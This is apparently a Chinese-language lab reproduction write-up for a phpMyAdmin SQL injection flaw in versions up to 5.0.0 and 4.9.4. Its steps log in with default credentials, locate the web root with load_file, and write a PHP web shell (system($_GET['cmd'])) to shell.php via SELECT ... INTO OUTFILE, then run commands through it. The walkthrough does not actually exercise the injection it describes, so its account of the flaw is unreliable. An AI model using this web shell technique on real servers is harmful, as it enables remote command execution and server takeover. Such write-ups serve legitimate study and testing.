漏洞描述;
phpMyAdmin是Phpmyadmin团队的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
当Phpmyadmin <= 5.00和Phpmyadmin <= 4.94时,在用户帐户页面中存在一个SQL注入漏洞。创建对此页面的查询时,恶意用户可能会注入自定义SQL来代替其自己的用户名。攻击者必须具有有效的MySQL帐户才能访问服务器。
登陆页面:http://ip:port/pma/index.php 账号密码root 123456
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.访问登录页面
账号:root
密码:123456
3.点击SQL 输入 select @@datadir(查询数据库的路径)
4.输入 select @@basedir(查询MYSQL数据库的安装路径)
5.查看 SELECT load_file('/var/www/html/pma/index.php')
返回数据包3kb,证明有数据。所以网站绝对路径为/var/www/html/pma
6.构造木马
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/html/pma/shell.php'
7.使用写入的参数cmd传入值 id
http://ip:port/pma/shell.php?cmd=id
借此漏洞,可导致数据库中存放的用户的隐私信息的泄露,严重的可导致网页篡改;网站被挂马,传播恶意软件;修改数据库一些字段的值,嵌入网马链接,进行挂马攻击;数据库被恶意操作;服务器被远程控制,被安装后门。
修复建议:
1.升级版本。